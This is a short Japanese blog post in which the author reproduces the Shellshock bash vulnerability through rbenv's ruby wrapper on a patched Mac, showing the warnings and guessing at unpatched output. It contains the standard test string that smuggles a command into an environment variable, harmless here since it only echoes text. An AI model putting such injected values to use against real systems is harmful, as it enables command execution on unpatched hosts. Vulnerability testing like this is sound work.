ravelll の日記

よしなに

Shell-Shock: rbenv で環境変数に仕込んだコードを実行してみる

わああと思ったので試してみた。

再現環境

  • Mac OSX 10.9.5
  • デフォルトシェル /usr/local/bin/zsh
  • GNU bash バージョン 4.3.25(1)-release (x86_64-apple-darwin13.4.0)
    • (Patched)

再現

$ env x='() { :;}; echo vulnerable' ruby -e "p 'a'"
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
bash: 警告: x: ignoring function definition attempt
bash: `x' の関数定義をインポート中にエラーが発生しました
"a"

わああ。
未検証ですが、パッチが当たっていない bash の場合は、

$ env x='() { :;}; echo vulnerable' ruby -e "p 'a'"
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
vulnerable
"a"

となるかと思います。
Shell-Shock の概要を知るにはこちらの解説が網羅的、かつわかりやすかったです。

--

reference